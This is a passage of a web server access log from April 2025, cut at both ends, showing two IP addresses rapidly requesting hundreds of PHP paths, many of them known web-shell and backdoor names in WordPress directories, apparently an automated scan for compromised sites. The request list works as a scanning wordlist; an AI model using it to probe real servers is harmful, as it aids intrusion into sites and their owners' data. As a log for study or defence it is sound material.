Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:41 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:41 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:42 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:42 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:42 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:43 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:43 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:43 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:43 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:20:44 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:44 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:44 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:44 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - 